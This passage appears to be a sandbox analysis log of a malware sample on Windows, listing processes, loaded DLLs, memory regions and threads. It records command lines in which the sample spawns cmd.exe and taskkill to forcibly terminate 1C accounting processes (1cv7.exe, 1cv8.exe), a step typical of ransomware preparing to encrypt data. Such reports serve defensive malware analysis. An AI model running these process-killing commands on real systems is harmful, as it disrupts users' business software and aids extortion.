FreeEnvironmentStringsW (penv=0x522b28) returned 1 [0046.252] DeleteProcThreadAttributeList (in: lpAttributeList=0x45f1ec | out: lpAttributeList=0x45f1ec) [0046.252] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.252] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0046.253] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.253] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4341ac | out: lpMode=0x4a4341ac) returned 1 [0046.253] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.253] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4341b0 | out: lpMode=0x4a4341b0) returned 1 [0046.253] SetConsoleInputExeNameW () returned 0x1 [0046.253] GetConsoleOutputCP () returned 0x1b5 [0046.253] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a434260 | out: lpCPInfo=0x4a434260) returned 1 [0046.253] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.253] exit (_Code=128) Process: id = "33" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x4997e000" os_pid = "0xbf4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0xbdc" cmd_line = "taskkill /im 1cv7.exe /T /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2091 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2092 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2093 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2094 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2095 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2096 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2097 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2098 start_va = 0xed0000 end_va = 0xee5fff entry_point = 0xed0000 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2099 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2100 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2101 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2102 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2103 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2104 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2105 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2106 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2107 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2108 start_va = 0x3e0000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 2109 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2110 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2111 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2112 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2113 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2114 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2115 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2116 start_va = 0x650000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 2117 start_va = 0x750b0000 end_va = 0x7519afff entry_point = 0x750b0000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2118 start_va = 0x751a0000 end_va = 0x751aefff entry_point = 0x751a0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2119 start_va = 0x751b0000 end_va = 0x751c8fff entry_point = 0x751b0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2120 start_va = 0x751d0000 end_va = 0x751d8fff entry_point = 0x751d0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2121 start_va = 0x751e0000 end_va = 0x751f0fff entry_point = 0x751e0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2122 start_va = 0x75200000 end_va = 0x7520cfff entry_point = 0x75200000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2123 start_va = 0x75210000 end_va = 0x75244fff entry_point = 0x75210000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2124 start_va = 0x75250000 end_va = 0x75257fff entry_point = 0x75250000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2125 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2126 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2127 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2128 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2129 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2130 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2131 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2132 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2133 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2134 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2135 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2136 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2137 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2138 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2139 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2140 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2141 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2142 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2143 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2144 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2145 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2146 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2147 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2148 start_va = 0x1f0000 end_va = 0x377fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2149 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2150 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2151 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2152 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2153 start_va = 0x140000 end_va = 0x143fff entry_point = 0x140000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2154 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2155 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2156 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2157 start_va = 0x380000 end_va = 0x380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 2158 start_va = 0x460000 end_va = 0x5e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2159 start_va = 0x750000 end_va = 0x80ffff entry_point = 0x750000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2160 start_va = 0x890000 end_va = 0x8cffff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 2161 start_va = 0x940000 end_va = 0x97ffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2162 start_va = 0xef0000 end_va = 0x22effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ef0000" filename = "" Region: id = 2163 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2164 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2165 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 2166 start_va = 0x75040000 end_va = 0x7509bfff entry_point = 0x75040000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2167 start_va = 0x750a0000 end_va = 0x750a9fff entry_point = 0x750a0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2168 start_va = 0xa70000 end_va = 0xaaffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2169 start_va = 0xab0000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 2170 start_va = 0x75010000 end_va = 0x75038fff entry_point = 0x75010000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2171 start_va = 0x830000 end_va = 0x86ffff entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 2172 start_va = 0xbb0000 end_va = 0xe7efff entry_point = 0xbb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2173 start_va = 0x2300000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 2174 start_va = 0x74ff0000 end_va = 0x75005fff entry_point = 0x74ff0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2175 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2176 start_va = 0x74fb0000 end_va = 0x74feafff entry_point = 0x74fb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2177 start_va = 0x74fa0000 end_va = 0x74fadfff entry_point = 0x74fa0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2178 start_va = 0x3a0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2179 start_va = 0x9c0000 end_va = 0x9fffff entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 2180 start_va = 0xa30000 end_va = 0xa6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 2181 start_va = 0x2390000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 2182 start_va = 0x74f90000 end_va = 0x74f9efff entry_point = 0x74f90000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2183 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2184 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2185 start_va = 0x74ed0000 end_va = 0x74ee7fff entry_point = 0x74ed0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2186 start_va = 0x74ef0000 end_va = 0x74f85fff entry_point = 0x74ef0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2187 start_va = 0x74eb0000 end_va = 0x74ec6fff entry_point = 0x74eb0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Thread: id = 87 os_tid = 0xbf8 Thread: id = 88 os_tid = 0xbfc Thread: id = 89 os_tid = 0x6bc Thread: id = 90 os_tid = 0x6c8 Thread: id = 91 os_tid = 0x73c Process: id = "34" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x491e6000" os_pid = "0x704" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8.exe /T /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2188 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2189 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2190 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2191 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2192 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2193 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2194 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2195 start_va = 0x4a270000 end_va = 0x4a2bbfff entry_point = 0x4a270000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 2196 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2197 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2198 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2199 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2200 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2201 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2202 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2203 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2204 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2205 start_va = 0x4e0000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2206 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2207 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2208 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2209 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2210 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2211 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2212 start_va = 0x6a0000 end_va = 0x79ffff entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 2213 start_va = 0x75260000 end_va = 0x75266fff entry_point = 0x75260000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 2214 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2215 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2216 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2217 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2218 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2219 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2220 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2221 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2222 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2223 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2224 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2225 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2226 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2227 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2228 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2229 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2230 start_va = 0x910000 end_va = 0x91ffff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 2231 start_va = 0x920000 end_va = 0xaa7fff entry_point = 0x0 region_type = pagefile_backed name = 